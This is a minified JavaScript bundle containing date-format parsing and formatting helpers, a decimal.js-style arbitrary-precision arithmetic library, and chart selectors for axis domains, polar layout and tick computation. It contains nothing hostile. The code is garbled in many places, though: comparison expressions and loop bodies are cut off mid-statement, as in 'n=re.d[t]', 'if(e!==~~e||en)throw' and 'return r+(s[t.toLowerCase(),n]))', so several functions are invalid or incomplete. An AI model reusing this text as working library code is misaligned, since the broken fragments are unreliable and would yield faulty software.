P(C,q,ne){var B=v.exec(q.slice(ne));return B?(C.m=b.get(B[0].toLowerCase()),ne+B[0].length):-1}function I(C,q,ne){var B=g.exec(q.slice(ne));return B?(C.m=y.get(B[0].toLowerCase()),ne+B[0].length):-1}function Y(C,q,ne){return S(C,t,q,ne)}function D(C,q,ne){return S(C,n,q,ne)}function M(C,q,ne){return S(C,r,q,ne)}function W(C){return o[C.getDay()]}function $(C){return s[C.getDay()]}function H(C){return c[C.getMonth()]}function F(C){return l[C.getMonth()]}function K(C){return i[+(C.getHours()>=12)]}function Z(C){return 1+~~(C.getMonth()/3)}function oe(C){return o[C.getUTCDay()]}function de(C){return s[C.getUTCDay()]}function be(C){return c[C.getUTCMonth()]}function ye(C){return l[C.getUTCMonth()]}function G(C){return i[+(C.getUTCHours()>=12)]}function te(C){return 1+~~(C.getUTCMonth()/3)}return{format:function(C){var q=z(C+="",w);return q.toString=function(){return C},q},parse:function(C){var q=k(C+="",!1);return q.toString=function(){return C},q},utcFormat:function(C){var q=z(C+="",j);return q.toString=function(){return C},q},utcParse:function(C){var q=k(C+="",!0);return q.toString=function(){return C},q}}}var sb={"-":"",_:" ",0:"0"},zt=/^\s*\d+/,t7=/^%/,n7=/[\\^$*+?|[\]().{}]/g;function _e(e,t,n){var r=e<0?"-":"",i=(r?-e:e)+"",s=i.length;return r+(s[t.toLowerCase(),n]))}function i7(e,t,n){var r=zt.exec(t.slice(n,n+1));return r?(e.w=+r[0],n+r[0].length):-1}function a7(e,t,n){var r=zt.exec(t.slice(n,n+1));return r?(e.u=+r[0],n+r[0].length):-1}function s7(e,t,n){var r=zt.exec(t.slice(n,n+2));return r?(e.U=+r[0],n+r[0].length):-1}function o7(e,t,n){var r=zt.exec(t.slice(n,n+2));return r?(e.V=+r[0],n+r[0].length):-1}function l7(e,t,n){var r=zt.exec(t.slice(n,n+2));return r?(e.W=+r[0],n+r[0].length):-1}function ob(e,t,n){var r=zt.exec(t.slice(n,n+4));return r?(e.y=+r[0],n+r[0].length):-1}function lb(e,t,n){var r=zt.exec(t.slice(n,n+2));return r?(e.y=+r[0]+(+r[0]>68?1900:2e3),n+r[0].length):-1}function c7(e,t,n){var r=/^(Z)|([+-]\d\d)(?::?(\d\d))?/.exec(t.slice(n,n+6));return r?(e.Z=r[1]?0:-(r[2]+(r[3]||"00")),n+r[0].length):-1}function u7(e,t,n){var r=zt.exec(t.slice(n,n+1));return r?(e.q=r[0]*3-3,n+r[0].length):-1}function d7(e,t,n){var r=zt.exec(t.slice(n,n+2));return r?(e.m=r[0]-1,n+r[0].length):-1}function cb(e,t,n){var r=zt.exec(t.slice(n,n+2));return r?(e.d=+r[0],n+r[0].length):-1}function f7(e,t,n){var r=zt.exec(t.slice(n,n+3));return r?(e.m=0,e.d=+r[0],n+r[0].length):-1}function ub(e,t,n){var r=zt.exec(t.slice(n,n+2));return r?(e.H=+r[0],n+r[0].length):-1}function m7(e,t,n){var r=zt.exec(t.slice(n,n+2));return r?(e.M=+r[0],n+r[0].length):-1}function p7(e,t,n){var r=zt.exec(t.slice(n,n+2));return r?(e.S=+r[0],n+r[0].length):-1}function h7(e,t,n){var r=zt.exec(t.slice(n,n+3));return r?(e.L=+r[0],n+r[0].length):-1}function x7(e,t,n){var r=zt.exec(t.slice(n,n+6));return r?(e.L=Math.floor(r[0]/1e3),n+r[0].length):-1}function v7(e,t,n){var r=t7.exec(t.slice(n,n+1));return r?n+r[0].length:-1}function g7(e,t,n){var r=zt.exec(t.slice(n));return r?(e.Q=+r[0],n+r[0].length):-1}function y7(e,t,n){var r=zt.exec(t.slice(n));return r?(e.s=+r[0],n+r[0].length):-1}function db(e,t){return _e(e.getDate(),t,2)}function b7(e,t){return _e(e.getHours(),t,2)}function w7(e,t){return _e(e.getHours()%12||12,t,2)}function j7(e,t){return _e(1+pl.count(Rr(e),e),t,3)}function m4(e,t){return _e(e.getMilliseconds(),t,3)}function N7(e,t){return m4(e,t)+"000"}function k7(e,t){return _e(e.getMonth()+1,t,2)}function z7(e,t){return _e(e.getMinutes(),t,2)}function S7(e,t){return _e(e.getSeconds(),t,2)}function C7(e){var t=e.getDay();return t===0?7:t}function P7(e,t){return _e(Zd.count(Rr(e)-1,e),t,2)}function p4(e){var t=e.getDay();return t>=4||t===0?ds(e):ds.ceil(e)}function E7(e,t){return e=p4(e),_e(ds.count(Rr(e),e)+(Rr(e).getDay()===4),t,2)}function _7(e){return e.getDay()}function A7(e,t){return _e(Ou.count(Rr(e)-1,e),t,2)}function O7(e,t){return _e(e.getFullYear()%100,t,2)}function T7(e,t){return e=p4(e),_e(e.getFullYear()%100,t,2)}function M7(e,t){return _e(e.getFullYear()%1e4,t,4)}function L7(e,t){var n=e.getDay();return e=n>=4||n===0?ds(e):ds.ceil(e),_e(e.getFullYear()%1e4,t,4)}function I7(e){var t=e.getTimezoneOffset();return(t>0?"-":(t*=-1,"+"))+_e(t/60|0,"0",2)+_e(t%60,"0",2)}function fb(e,t){return _e(e.getUTCDate(),t,2)}function D7(e,t){return _e(e.getUTCHours(),t,2)}function R7(e,t){return _e(e.getUTCHours()%12||12,t,2)}function $7(e,t){return _e(1+Xd.count($r(e),e),t,3)}function h4(e,t){return _e(e.getUTCMilliseconds(),t,3)}function B7(e,t){return h4(e,t)+"000"}function F7(e,t){return _e(e.getUTCMonth()+1,t,2)}function W7(e,t){return _e(e.getUTCMinutes(),t,2)}function U7(e,t){return _e(e.getUTCSeconds(),t,2)}function V7(e){var t=e.getUTCDay();return t===0?7:t}function H7(e,t){return _e(Qd.count($r(e)-1,e),t,2)}function x4(e){var t=e.getUTCDay();return t>=4||t===0?fs(e):fs.ceil(e)}function K7(e,t){return e=x4(e),_e(fs.count($r(e),e)+($r(e).getUTCDay()===4),t,2)}function Y7(e){return e.getUTCDay()}function q7(e,t){return _e(Tu.count($r(e)-1,e),t,2)}function G7(e,t){return _e(e.getUTCFullYear()%100,t,2)}function X7(e,t){return e=x4(e),_e(e.getUTCFullYear()%100,t,2)}function Z7(e,t){return _e(e.getUTCFullYear()%1e4,t,4)}function Q7(e,t){var n=e.getUTCDay();return e=n>=4||n===0?fs(e):fs.ceil(e),_e(e.getUTCFullYear()%1e4,t,4)}function J7(){return"+0000"}function mb(){return"%"}function pb(e){return+e}function hb(e){return Math.floor(+e/1e3)}var ka,v4,g4;eI({dateTime:"%x, %X",date:"%-m/%-d/%Y",time:"%-I:%M:%S %p",periods:["AM","PM"],days:["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],shortDays:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],months:["January","February","March","April","May","June","July","August","September","October","November","December"],shortMonths:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"]});function eI(e){return ka=e7(e),v4=ka.format,ka.parse,g4=ka.utcFormat,ka.utcParse,ka}function tI(e){return new Date(e)}function nI(e){return e instanceof Date?+e:+new Date(+e)}function N0(e,t,n,r,i,s,o,l,c,u){var d=c0(),f=d.invert,p=d.domain,h=u(".%L"),x=u(":%S"),g=u("%I:%M"),y=u("%I %p"),v=u("%a %d"),b=u("%b %d"),w=u("%B"),j=u("%Y");function N(z){return(c(z)t(i/(e.length-1)))},n.quantiles=function(r){return Array.from({length:r+1},(i,s)=>V8(e,s/r))},n.copy=function(){return j4(t).domain(e)},Yr.apply(n,arguments)}function ef(){var e=0,t=.5,n=1,r=1,i,s,o,l,c,u=Ft,d,f=!1,p;function h(g){return isNaN(g=+g)?p:(g=.5+((g=+d(g))-s)*(r*ge.chartData,tf=L([qr],e=>{var t=e.chartData!=null?e.chartData.length-1:0;return{chartData:e.chartData,computedData:e.computedData,dataEndIndex:t,dataStartIndex:0}}),S4=(e,t,n,r)=>r?tf(e):qr(e),oI=(e,t,n)=>n?tf(e):qr(e);function Br(e){if(Array.isArray(e)&&e.length===2){var[t,n]=e;if(Ee(t)&&Ee(n))return!0}return!1}function xb(e,t,n){return n?e:[Math.min(e[0],t[0]),Math.max(e[1],t[1])]}function C4(e,t){if(t&&typeof e!="function"&&Array.isArray(e)&&e.length===2){var[n,r]=e,i,s;if(Ee(n))i=n;else if(typeof n=="function")return;if(Ee(r))s=r;else if(typeof r=="function")return;var o=[i,s];if(Br(o))return o}}function lI(e,t,n){if(!(!n&&t==null)){if(typeof e=="function"&&t!=null)try{var r=e(t,n);if(Br(r))return xb(r,t,n)}catch{}if(Array.isArray(e)&&e.length===2){var[i,s]=e,o,l;if(i==="auto")t!=null&&(o=Math.min(...t));else if(ge(i))o=i;else if(typeof i=="function")try{t!=null&&(o=i(t==null?void 0:t[0]))}catch{}else if(typeof i=="string"&&My.test(i)){var c=My.exec(i);if(c==null||c[1]==null||t==null)o=void 0;else{var u=+c[1];o=t[0]-u}}else o=t==null?void 0:t[0];if(s==="auto")t!=null&&(l=Math.max(...t));else if(ge(s))l=s;else if(typeof s=="function")try{t!=null&&(l=s(t==null?void 0:t[1]))}catch{}else if(typeof s=="string"&&Ly.test(s)){var d=Ly.exec(s);if(d==null||d[1]==null||t==null)l=void 0;else{var f=+d[1];l=t[1]+f}}else l=t==null?void 0:t[1];var p=[o,l];if(Br(p))return t==null?p:xb(p,t,n)}}}var js=1e9,cI={precision:20,rounding:4,toExpNeg:-7,toExpPos:21,LN10:"2.302585092994045684017991454684364207601101488628772976033327900967572609677352480235997205089598298341967784042286"},C0,Ye=!0,Tn="[DecimalError] ",ta=Tn+"Invalid argument: ",S0=Tn+"Exponent out of range: ",Ns=Math.floor,Ui=Math.pow,uI=/^(\d+(\.\d*)?|\.\d+)(e[+-]?\d+)?$/i,ln,wt=1e7,We=7,P4=9007199254740991,Mu=Ns(P4/We),pe={};pe.absoluteValue=pe.abs=function(){var e=new this.constructor(this);return e.s&&(e.s=1),e};pe.comparedTo=pe.cmp=function(e){var t,n,r,i,s=this;if(e=new s.constructor(e),s.s!==e.s)return s.s||-e.s;if(s.e!==e.e)return s.e>e.e^s.s<0?1:-1;for(r=s.d.length,i=e.d.length,t=0,n=re.d[t]^s.s<0?1:-1;return r===i?0:r>i^s.s<0?1:-1};pe.decimalPlaces=pe.dp=function(){var e=this,t=e.d.length-1,n=(t-e.e)*We;if(t=e.d[t],t)for(;t%10==0;t/=10)n--;return n<0?0:n};pe.dividedBy=pe.div=function(e){return Er(this,new this.constructor(e))};pe.dividedToIntegerBy=pe.idiv=function(e){var t=this,n=t.constructor;return Ie(Er(t,new n(e),0,1),n.precision)};pe.equals=pe.eq=function(e){return!this.cmp(e)};pe.exponent=function(){return ft(this)};pe.greaterThan=pe.gt=function(e){return this.cmp(e)>0};pe.greaterThanOrEqualTo=pe.gte=function(e){return this.cmp(e)>=0};pe.isInteger=pe.isint=function(){return this.e>this.d.length-2};pe.isNegative=pe.isneg=function(){return this.s<0};pe.isPositive=pe.ispos=function(){return this.s>0};pe.isZero=function(){return this.s===0};pe.lessThan=pe.lt=function(e){return this.cmp(e)<0};pe.lessThanOrEqualTo=pe.lte=function(e){return this.cmp(e)<1};pe.logarithm=pe.log=function(e){var t,n=this,r=n.constructor,i=r.precision,s=i+5;if(e===void 0)e=new r(10);else if(e=new r(e),e.s<1||e.eq(ln))throw Error(Tn+"NaN");if(n.s<1)throw Error(Tn+(n.s?"NaN":"-Infinity"));return n.eq(ln)?new r(0):(Ye=!1,t=Er(Xo(n,s),Xo(e,s),s),Ye=!0,Ie(t,i))};pe.minus=pe.sub=function(e){var t=this;return e=new t.constructor(e),t.s==e.s?A4(t,e):E4(t,(e.s=-e.s,e))};pe.modulo=pe.mod=function(e){var t,n=this,r=n.constructor,i=r.precision;if(e=new r(e),!e.s)throw Error(Tn+"NaN");return n.s?(Ye=!1,t=Er(n,e,0,1).times(e),Ye=!0,n.minus(t)):Ie(new r(n),i)};pe.naturalExponential=pe.exp=function(){return _4(this)};pe.naturalLogarithm=pe.ln=function(){return Xo(this)};pe.negated=pe.neg=function(){var e=new this.constructor(this);return e.s=-e.s||0,e};pe.plus=pe.add=function(e){var t=this;return e=new t.constructor(e),t.s==e.s?E4(t,e):A4(t,(e.s=-e.s,e))};pe.precision=pe.sd=function(e){var t,n,r,i=this;if(e!==void 0&&e!==!!e&&e!==1&&e!==0)throw Error(ta+e);if(t=ft(i)+1,r=i.d.length-1,n=r*We+1,r=i.d[r],r){for(;r%10==0;r/=10)n--;for(r=i.d[0];r>=10;r/=10)n++}return e&&t>n?t:n};pe.squareRoot=pe.sqrt=function(){var e,t,n,r,i,s,o,l=this,c=l.constructor;if(l.s<1){if(!l.s)return new c(0);throw Error(Tn+"NaN")}for(e=ft(l),Ye=!1,i=Math.sqrt(+l),i==0||i==1/0?(t=cr(l.d),(t.length+e)%2==0&&(t+="0"),i=Math.sqrt(t),e=Ns((e+1)/2)-(e<0||e%2),i==1/0?t="5e"+e:(t=i.toExponential(),t=t.slice(0,t.indexOf("e")+1)+e),r=new c(t)):r=new c(i.toString()),n=c.precision,i=o=n+3;;)if(s=r,r=s.plus(Er(l,s,o+2)).times(.5),cr(s.d).slice(0,o)===(t=cr(r.d)).slice(0,o)){if(t=t.slice(o-3,o+1),i==o&&t=="4999"){if(Ie(s,n+1,0),s.times(s).eq(l)){r=s;break}}else if(t!="9999")break;o+=4}return Ye=!0,Ie(r,n)};pe.times=pe.mul=function(e){var t,n,r,i,s,o,l,c,u,d=this,f=d.constructor,p=d.d,h=(e=new f(e)).d;if(!d.s||!e.s)return new f(0);for(e.s*=d.s,n=d.e+e.e,c=p.length,u=h.length,c=0;){for(t=0,i=c+r;i>r;)l=s[i]+h[r]*p[i-r-1]+t,s[i--]=l%wt|0,t=l/wt|0;s[i]=(s[i]+t)%wt|0}for(;!s[--o];)s.pop();return t?++n:s.shift(),e.d=s,e.e=n,Ye?Ie(e,f.precision):e};pe.toDecimalPlaces=pe.todp=function(e,t){var n=this,r=n.constructor;return n=new r(n),e===void 0?n:(pr(e,0,js),t===void 0?t=r.rounding:pr(t,0,8),Ie(n,e+ft(n)+1,t))};pe.toExponential=function(e,t){var n,r=this,i=r.constructor;return e===void 0?n=ha(r,!0):(pr(e,0,js),t===void 0?t=i.rounding:pr(t,0,8),r=Ie(new i(r),e+1,t),n=ha(r,!0,e+1)),n};pe.toFixed=function(e,t){var n,r,i=this,s=i.constructor;return e===void 0?ha(i):(pr(e,0,js),t===void 0?t=s.rounding:pr(t,0,8),r=Ie(new s(i),e+ft(i)+1,t),n=ha(r.abs(),!1,e+ft(r)+1),i.isneg()&&!i.isZero()?"-"+n:n)};pe.toInteger=pe.toint=function(){var e=this,t=e.constructor;return Ie(new t(e),ft(e)+1,t.rounding)};pe.toNumber=function(){return+this};pe.toPower=pe.pow=function(e){var t,n,r,i,s,o,l=this,c=l.constructor,u=12,d=+(e=new c(e));if(!e.s)return new c(ln);if(l=new c(l),!l.s){if(e.s<1)throw Error(Tn+"Infinity");return l}if(l.eq(ln))return l;if(r=c.precision,e.eq(ln))return Ie(l,r);if(t=e.e,n=e.d.length-1,o=t>=n,s=l.s,o){if((n=d<0?-d:d)<=P4){for(i=new c(ln),t=Math.ceil(r/We+4),Ye=!1;n%2&&(i=i.times(l),gb(i.d,t)),n=Ns(n/2),n!==0;)l=l.times(l),gb(l.d,t);return Ye=!0,e.s<0?new c(ln).div(i):Ie(i,r)}}else if(s<0)throw Error(Tn+"NaN");return s=s<0&&e.d[Math.max(t,n)]&1?-1:1,l.s=1,Ye=!1,i=e.times(Xo(l,r+u)),Ye=!0,i=_4(i),i.s=s,i};pe.toPrecision=function(e,t){var n,r,i=this,s=i.constructor;return e===void 0?(n=ft(i),r=ha(i,n<=s.toExpNeg||n>=s.toExpPos)):(pr(e,1,js),t===void 0?t=s.rounding:pr(t,0,8),i=Ie(new s(i),e,t),n=ft(i),r=ha(i,e<=n||n<=s.toExpNeg,e)),r};pe.toSignificantDigits=pe.tosd=function(e,t){var n=this,r=n.constructor;return e===void 0?(e=r.precision,t=r.rounding):(pr(e,1,js),t===void 0?t=r.rounding:pr(t,0,8)),Ie(new r(n),e,t)};pe.toString=pe.valueOf=pe.val=pe.toJSON=pe[Symbol.for("nodejs.util.inspect.custom")]=function(){var e=this,t=ft(e),n=e.constructor;return ha(e,t<=n.toExpNeg||t>=n.toExpPos)};function E4(e,t){var n,r,i,s,o,l,c,u,d=e.constructor,f=d.precision;if(!e.s||!t.s)return t.s||(t=new d(e)),Ye?Ie(t,f):t;if(c=e.d,u=t.d,o=e.e,i=t.e,c=c.slice(),s=o-i,s){for(s<0?(r=c,s=-s,l=u.length):(r=u,i=o,l=c.length),o=Math.ceil(f/We),l=o>l?o+1:l+1,s>l&&(s=l,r.length=1),r.reverse();s--;)r.push(0);r.reverse()}for(l=c.length,s=u.length,l-s<0&&(s=l,r=u,u=c,c=r),n=0;s;)n=(c[--s]=c[s]+u[s]+n)/wt|0,c[s]%=wt;for(n&&(c.unshift(n),++i),l=c.length;c[--l]==0;)c.pop();return t.d=c,t.e=i,Ye?Ie(t,f):t}function pr(e,t,n){if(e!==~~e||en)throw Error(ta+e)}function cr(e){var t,n,r,i=e.length-1,s="",o=e[0];if(i>0){for(s+=o,t=1;to?1:-1;else for(l=c=0;li[l]?1:-1;break}return c}function n(r,i,s){for(var o=0;s--;)r[s]-=o,o=r[s]1;)r.shift()}return function(r,i,s,o){var l,c,u,d,f,p,h,x,g,y,v,b,w,j,N,z,k,S,A=r.constructor,_=r.s==i.s?1:-1,O=r.d,P=i.d;if(!r.s)return new A(r);if(!i.s)throw Error(Tn+"Division by zero");for(c=r.e-i.e,k=P.length,N=O.length,h=new A(_),x=h.d=[],u=0;P[u]==(O[u]||0);)++u;if(P[u]>(O[u]||0)&&--c,s==null?b=s=A.precision:o?b=s+(ft(r)-ft(i))+1:b=s,b<0)return new A(0);if(b=b/We+2|0,u=0,k==1)for(d=0,P=P[0],b++;(u1&&(P=e(P,d),O=e(O,d),k=P.length,N=O.length),j=k,g=O.slice(0,k),y=g.length;y=wt/2&&++z;do d=0,l=t(P,g,k,y),l<0?(v=g[0],k!=y&&(v=v*wt+(g[1]||0)),d=v/z|0,d>1?(d>=wt&&(d=wt-1),f=e(P,d),p=f.length,y=g.length,l=t(f,g,p,y),l==1&&(d--,n(f,k16)throw Error(S0+ft(e));if(!e.s)return new d(ln);for(Ye=!1,l=f,o=new d(.03125);e.abs().gte(.1);)e=e.times(o),u+=5;for(r=Math.log(Ui(2,u))/Math.LN10*2+5|0,l+=r,n=i=s=new d(ln),d.precision=l;;){if(i=Ie(i.times(e),l),n=n.times(++c),o=s.plus(Er(i,n,l)),cr(o.d).slice(0,l)===cr(s.d).slice(0,l)){for(;u--;)s=Ie(s.times(s),l);return d.precision=f,t==null?(Ye=!0,Ie(s,f)):s}s=o}}function ft(e){for(var t=e.e*We,n=e.d[0];n>=10;n/=10)t++;return t}function wm(e,t,n){if(t>e.LN10.sd())throw Ye=!0,n&&(e.precision=n),Error(Tn+"LN10 precision limit exceeded");return Ie(new e(e.LN10),t)}function ri(e){for(var t="";e--;)t+="0";return t}function Xo(e,t){var n,r,i,s,o,l,c,u,d,f=1,p=10,h=e,x=h.d,g=h.constructor,y=g.precision;if(h.s<1)throw Error(Tn+(h.s?"NaN":"-Infinity"));if(h.eq(ln))return new g(0);if(t==null?(Ye=!1,u=y):u=t,h.eq(10))return t==null&&(Ye=!0),wm(g,u);if(u+=p,g.precision=u,n=cr(x),r=n.charAt(0),s=ft(h),Math.abs(s)<15e14){for(;r<7&&r!=1||r==1&&n.charAt(1)>3;)h=h.times(e),n=cr(h.d),r=n.charAt(0),f++;s=ft(h),r>1?(h=new g("0."+n),s++):h=new g(r+"."+n.slice(1))}else return c=wm(g,u+2,y).times(s+""),h=Xo(new g(r+"."+n.slice(1)),u-p).plus(c),g.precision=y,t==null?(Ye=!0,Ie(h,y)):h;for(l=o=h=Er(h.minus(ln),h.plus(ln),u),d=Ie(h.times(h),u),i=3;;){if(o=Ie(o.times(d),u),c=l.plus(Er(o,new g(i),u)),cr(c.d).slice(0,u)===cr(l.d).slice(0,u))return l=l.times(2),s!==0&&(l=l.plus(wm(g,u+2,y).times(s+""))),l=Er(l,new g(f),u),g.precision=y,t==null?(Ye=!0,Ie(l,y)):l;l=c,i+=2}}function vb(e,t){var n,r,i;for((n=t.indexOf("."))>-1&&(t=t.replace(".","")),(r=t.search(/e/i))>0?(n<0&&(n=r),n+=+t.slice(r+1),t=t.substring(0,r)):n<0&&(n=t.length),r=0;t.charCodeAt(r)===48;)++r;for(i=t.length;t.charCodeAt(i-1)===48;)--i;if(t=t.slice(r,i),t){if(i-=r,n=n-r-1,e.e=Ns(n/We),e.d=[],r=(n+1)%We,n<0&&(r+=We),rMu||e.e<-Mu))throw Error(S0+n)}else e.s=0,e.e=0,e.d=[0];return e}function Ie(e,t,n){var r,i,s,o,l,c,u,d,f=e.d;for(o=1,s=f[0];s>=10;s/=10)o++;if(r=t-o,r<0)r+=We,i=t,u=f[d=0];else{if(d=Math.ceil((r+1)/We),s=f.length,d>=s)return e;for(u=s=f[d],o=1;s>=10;s/=10)o++;r%=We,i=r-We+o}if(n!==void 0&&(s=Ui(10,o-i-1),l=u/s%10|0,c=t<0||f[d+1]!==void 0||u%s,c=n<4?(l||c)&&(n==0||n==(e.s<0?3:2)):l>5||l==5&&(n==4||c||n==6&&(r>0?i>0?u/Ui(10,o-i):0:f[d-1])%10&1||n==(e.s<0?8:7))),t<1||!f[0])return c?(s=ft(e),f.length=1,t=t-s-1,f[0]=Ui(10,(We-t%We)%We),e.e=Ns(-t/We)||0):(f.length=1,f[0]=e.e=e.s=0),e;if(r==0?(f.length=d,s=1,d--):(f.length=d+1,s=Ui(10,We-r),f[d]=i>0?(u/Ui(10,o-i)%Ui(10,i)|0)*s:0),c)for(;;)if(d==0){(f[0]+=s)==wt&&(f[0]=1,++e.e);break}else{if(f[d]+=s,f[d]!=wt)break;f[d--]=0,s=1}for(r=f.length;f[--r]===0;)f.pop();if(Ye&&(e.e>Mu||e.e<-Mu))throw Error(S0+ft(e));return e}function A4(e,t){var n,r,i,s,o,l,c,u,d,f,p=e.constructor,h=p.precision;if(!e.s||!t.s)return t.s?t.s=-t.s:t=new p(e),Ye?Ie(t,h):t;if(c=e.d,f=t.d,r=t.e,u=e.e,c=c.slice(),o=u-r,o){for(d=o<0,d?(n=c,o=-o,l=f.length):(n=f,r=u,l=c.length),i=Math.max(Math.ceil(h/We),l)+2,o>i&&(o=i,n.length=1),n.reverse(),i=o;i--;)n.push(0);n.reverse()}else{for(i=c.length,l=f.length,d=i0;--i)c[l++]=0;for(i=f.length;i>o;){if(c[--i]0?s=s.charAt(0)+"."+s.slice(1)+ri(r):o>1&&(s=s.charAt(0)+"."+s.slice(1)),s=s+(i<0?"e":"e+")+i):i<0?(s="0."+ri(-i-1)+s,n&&(r=n-o)>0&&(s+=ri(r))):i>=o?(s+=ri(i+1-o),n&&(r=n-i-1)>0&&(s=s+"."+ri(r))):((r=i+1)0&&(i+1===o&&(s+="."),s+=ri(r))),e.s<0?"-"+s:s}function gb(e,t){if(e.length>t)return e.length=t,!0}function O4(e){var t,n,r;function i(s){var o=this;if(!(o instanceof i))return new i(s);if(o.constructor=i,s instanceof i){o.s=s.s,o.e=s.e,o.d=(s=s.d)?s.slice():s;return}if(typeof s=="number"){if(s*0!==0)throw Error(ta+s);if(s>0)o.s=1;else if(s<0)s=-s,o.s=-1;else{o.s=0,o.e=0,o.d=[0];return}if(s===~~s&&s<1e7){o.e=0,o.d=[s];return}return vb(o,s.toString())}else if(typeof s!="string")throw Error(ta+s);if(s.charCodeAt(0)===45?(s=s.slice(1),o.s=-1):o.s=1,uI.test(s))vb(o,s);else throw Error(ta+s)}if(i.prototype=pe,i.ROUND_UP=0,i.ROUND_DOWN=1,i.ROUND_CEIL=2,i.ROUND_FLOOR=3,i.ROUND_HALF_UP=4,i.ROUND_HALF_DOWN=5,i.ROUND_HALF_EVEN=6,i.ROUND_HALF_CEIL=7,i.ROUND_HALF_FLOOR=8,i.clone=O4,i.config=i.set=dI,e===void 0&&(e={}),e)for(r=["precision","rounding","toExpNeg","toExpPos","LN10"],t=0;t=i[t+1]&&r<=i[t+2])this[n]=r;else throw Error(ta+n+": "+r);if((r=e[n="LN10"])!==void 0)if(r==Math.LN10)this[n]=new this(r);else throw Error(ta+n+": "+r);return this}var C0=O4(cI);ln=new C0(1);const Te=C0;function T4(e){var t;return e===0?t=1:t=Math.floor(new Te(e).abs().log(10).toNumber())+1,t}function M4(e,t,n){for(var r=new Te(e),i=0,s=[];r.lt(t)&&i<1e5;)s.push(r.toNumber()),r=r.add(n),i++;return s}var L4=e=>{var[t,n]=e,[r,i]=[t,n];return t>n&&([r,i]=[n,t]),[r,i]},I4=(e,t,n)=>{if(e.lte(0))return new Te(0);var r=T4(e.toNumber()),i=new Te(10).pow(r),s=e.div(i),o=r!==1?.05:.1,l=new Te(Math.ceil(s.div(o).toNumber())).add(n).mul(o),c=l.mul(i);return t?new Te(c.toNumber()):new Te(Math.ceil(c.toNumber()))},fI=(e,t,n)=>{var r=new Te(1),i=new Te(e);if(!i.isint()&&n){var s=Math.abs(e);s<1?(r=new Te(10).pow(T4(e)-1),i=new Te(Math.floor(i.div(r).toNumber())).mul(r)):s>1&&(i=new Te(Math.floor(e)))}else e===0?i=new Te(Math.floor((t-1)/2)):n||(i=new Te(Math.floor(e)));for(var o=Math.floor((t-1)/2),l=[],c=0;c4&&arguments[4]!==void 0?arguments[4]:0;if(!Number.isFinite((n-t)/(r-1)))return{step:new Te(0),tickMin:new Te(0),tickMax:new Te(0)};var o=I4(new Te(n).sub(t).div(r-1),i,s),l;t<=0&&n>=0?l=new Te(0):(l=new Te(t).add(n).div(2),l=l.sub(new Te(l).mod(o)));var c=Math.ceil(l.sub(t).div(o).toNumber()),u=Math.ceil(new Te(n).sub(l).div(o).toNumber()),d=c+u+1;return d>r?D4(t,n,r,i,s+1):(d0?u+(r-d):u,c=n>0?c:c+(r-d)),{step:o,tickMin:l.sub(new Te(c).mul(o)),tickMax:l.add(new Te(u).mul(o))})},mI=function(t){var[n,r]=t,i=arguments.length>1&&arguments[1]!==void 0?arguments[1]:6,s=arguments.length>2&&arguments[2]!==void 0?arguments[2]:!0,o=Math.max(i,2),[l,c]=L4([n,r]);if(l===-1/0||c===1/0){var u=c===1/0?[l,...Array(i-1).fill(1/0)]:[...Array(i-1).fill(-1/0),c];return n>r?u.reverse():u}if(l===c)return fI(l,i,s);var{step:d,tickMin:f,tickMax:p}=D4(l,c,o,s,0),h=M4(f,p.add(new Te(.1).mul(d)),d);return n>r?h.reverse():h},pI=function(t,n){var[r,i]=t,s=arguments.length>2&&arguments[2]!==void 0?arguments[2]:!0,[o,l]=L4([r,i]);if(o===-1/0||l===1/0)return[r,i];if(o===l)return[o];var c=Math.max(n,2),u=I4(new Te(l).sub(o).div(c-1),s,0),d=[...M4(new Te(o),new Te(l),u),l];return s===!1&&(d=d.map(f=>Math.round(f))),r>i?d.reverse():d},hI=e=>e.rootProps.barCategoryGap,hl=e=>e.rootProps.stackOffset,R4=e=>e.rootProps.reverseStackOrder,P0=e=>e.options.chartName,E0=e=>e.rootProps.syncId,$4=e=>e.rootProps.syncMethod,_0=e=>e.options.eventEmitter,xI=e=>e.rootProps.baseValue,Zt={grid:-100,barBackground:-50,area:100,cursorRectangle:200,bar:300,line:400,axis:500,scatter:600,activeBar:1e3,cursorLine:1100,activeDot:1200,label:2e3},Ii={allowDecimals:!1,allowDataOverflow:!1,angleAxisId:0,reversed:!1,scale:"auto",tick:!0,type:"auto"},nr={allowDataOverflow:!1,allowDecimals:!1,allowDuplicatedCategory:!0,includeHidden:!1,radiusAxisId:0,reversed:!1,scale:"auto",tick:!0,tickCount:5,type:"auto"},nf=(e,t)=>{if(!(!e||!t))return e!=null&&e.reversed?[t[1],t[0]]:t};function B4(e,t,n){if(n!=="auto")return n;if(e!=null)return vr(e,t)?"category":"number"}function yb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Lu(e){for(var t=1;t{if(t!=null)return e.polarAxis.angleAxis[t]},A0=L([bI,jk],(e,t)=>{var n;if(e!=null)return e;var r=(n=B4(t,"angleAxis",bb.type))!==null&&n!==void 0?n:"category";return Lu(Lu({},bb),{},{type:r})}),wI=(e,t)=>e.polarAxis.radiusAxis[t],O0=L([wI,jk],(e,t)=>{var n;if(e!=null)return e;var r=(n=B4(t,"radiusAxis",wb.type))!==null&&n!==void 0?n:"category";return Lu(Lu({},wb),{},{type:r})}),rf=e=>e.polarOptions,T0=L([Hr,Kr,kt],$k),F4=L([rf,T0],(e,t)=>{if(e!=null)return fn(e.innerRadius,t,0)}),W4=L([rf,T0],(e,t)=>{if(e!=null)return fn(e.outerRadius,t,t*.8)}),jI=e=>{if(e==null)return[0,0];var{startAngle:t,endAngle:n}=e;return[t,n]},U4=L([rf],jI);L([A0,U4],nf);var V4=L([T0,F4,W4],(e,t,n)=>{if(!(e==null||t==null||n==null))return[t,n]});L([O0,V4],nf);var H4=L([De,rf,F4,W4,Hr,Kr],(e,t,n,r,i,s)=>{if(!(e!=="centric"&&e!=="radial"||t==null||n==null||r==null)){var{cx:o,cy:l,startAngle:c,endAngle:u}=t;return{cx:fn(o,i,i/2),cy:fn(l,s,s/2),innerRadius:n,outerRadius:r,startAngle:c,endAngle:u,clockWise:!1}}}),Je=(e,t)=>t,xl=(e,t,n)=>n;function M0(e){return e==null?void 0:e.id}function K4(e,t,n){var{chartData:r=[]}=t,{allowDuplicatedCategory:i,dataKey:s}=n,o=new 